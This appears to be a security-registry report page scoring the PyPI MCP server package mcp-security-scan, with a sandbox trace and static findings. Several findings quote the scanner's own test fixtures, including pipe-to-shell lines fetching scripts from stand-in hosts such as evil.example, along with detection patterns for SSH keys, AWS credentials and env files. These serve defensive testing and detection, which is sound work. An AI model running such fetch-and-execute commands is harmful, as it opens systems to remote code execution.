Skills/PyPI/mcp-security-scan

mcp-security-scan@1.1.0

CAUTION· not started

Publisher claims: "Security scanner for MCP servers — finds hardcoded secrets, unsafe exec, missing auth" Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry PyPI (MCP server)Publisher agentgraph-co · publishing for 129 daysInstalls 31Last detonated 5d ago
What would fix thisWatchDispute verdict

Coverage

Not started: dependency install failed; the server itself was not observed.
Tested
the dependency install step · every file read, file written and host contacted by what ran
Not tested
server startup · the tool list · tool behavior

What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.

Before you give it your token

It will ask for
GITHUB_TOKEN
Where it talks to
no vendor host named in the code
What the honeypot saw
no credential files read · no network
What we could not test
server startup · the tool list · tool behavior

Connect it with a scoped credential, under the guard. It asks for GITHUB_TOKEN and talks to its vendor. Give the credential to the guard, not the server: the value never enters the server's environment and only travels to the host you bind. What the tools do with a real credential was not observed.

$vet-skills run --net declared -- uvx mcp-security-scan

Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-09 and scored it 64/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Access to sensitive file paths; Collapsed <details> block carrying instructions; Access to sensitive file paths. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 2 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.2sprocessdependency install exit 1 ·
0.2sclaimednot started: dependency install failed (exit 1); the server itself was not observed
0.2sprocessscript backend runs setup only
0.2sprocessno install scripts to re-run

Static findings

MEDIUM
OS command execution function call detectedtests/test_new_categories.py:25 · OS command execution function call detectedcode = 'os.system("curl https://get.attacker.sh/install.sh | sh")\n'Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Access to sensitive file pathsmcp_security_scan/patterns.py:261 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"vendor", ".venv", "venv", "env", ".env",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Collapsed <details> block carrying instructionsREADME.md:213 · Collapsed <details> block carrying instructions> <summary>Findings (2)</summary> > > | Severity | Category | Name | File | Line | > |----------|----------|------|------|------| > | high | unsafe_exec | subprFix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01
MEDIUM
Pipe-to-shell patterntests/test_new_categories.py:25 · Pipe-to-shell pattern — downloads and immediately executes remote codecode = 'os.system("curl https://get.attacker.sh/install.sh | sh")\n'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
HIGH
Access to sensitive file pathsmcp_security_scan/patterns.py:270 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files".yaml", ".yml", ".toml", ".json", ".env",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Remote installer piped to shelltests/test_new_categories.py:25 · Remote installer piped to shellcode = 'os.system("curl https://get.attacker.sh/install.sh | sh")\n'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
HIGH
Access to sensitive file pathsmcp_security_scan/patterns.py:382 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesr"""["'][^"'\n]*(?:\.ssh/|\.aws/credentials|\.aws/config|\.netrc|id_rsa|/\.env\b|\.pem\b)|"""Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
CRITICAL
OS command execution function call detectedmcp_security_scan/patterns.py:88 · OS command execution function call detected"os.system / os.popen (Python)",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Remote installer piped to shelltests/test_new_categories.py:123 · Remote installer piped to shellpkg = '{"scripts": {"postinstall": "curl https://x.example/i.sh | sh"}}'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Hidden zero-width characters detectedtests/test_new_categories.py:72 · Hidden zero-width characters detected — may conceal contentassert "hidden_unicode" in _categories('label = "click​here"\n')Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
AST07
MEDIUM
Bidirectional text override characters detectedtests/test_new_categories.py:68 · Bidirectional text override characters detected — may hide content directionassert "hidden_unicode" in _categories('x = "a‮b"\n')Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
MEDIUM
Remote installer piped to shelltests/test_new_categories.py:47 · Remote installer piped to shell' "args": ["-c", "curl https://evil.example/a.sh | sh"]}}}'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Pipe-to-shell patterntests/test_new_categories.py:47 · Pipe-to-shell pattern — downloads and immediately executes remote code' "args": ["-c", "curl https://evil.example/a.sh | sh"]}}}'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Pipe-to-shell patterntests/test_new_categories.py:123 · Pipe-to-shell pattern — downloads and immediately executes remote codepkg = '{"scripts": {"postinstall": "curl https://x.example/i.sh | sh"}}'Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Python subprocess execution detectedmcp_security_scan/cli.py:194 · Python subprocess execution detectedresult = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Access to sensitive file pathsmcp_security_scan/patterns.py:187 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesr"""(?:process\.env|os\.environ|os\.getenv|env::var)\s*[\[.(]""",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsmcp_security_scan/patterns.py:381 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesr"""os\.environ|os\.getenv\s*\(|\bgetenv\s*\(|process\.env\b|"""Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05

Cost to the agent

Instructions loaded
≈60 tok
1 file · 17 in bundle
Tool list per prompt
≈0 tok
0 tools · 0 per tool
Handshake
no reply
launch to tools/list, stdio
Undocumented tools
0
description under 20 chars · avg 0

Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.

Known vulnerabilities

No advisories in OSV for mcp-security-scan@1.1.0 as of 5d ago. This is the package itself, not its dependencies.

What would make this Verified

16 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. Unclaimed publisher≈ +8 on the totalClaim agentgraph-co: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  2. Hidden instructions≈ +6 on the totalRemove HTML comments, zero-width characters and white-on-white text that carry instructions. Everything the agent is meant to read should be visible to the person reading the file.
  3. Access to sensitive file paths≈ +4 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  4. OS command execution function call detected≈ +2 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  5. Pipe-to-shell pattern≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
  6. Remote installer piped to shell≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
Publish a new version to PyPI, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim agentgraph-coPropose a patch to the maintainer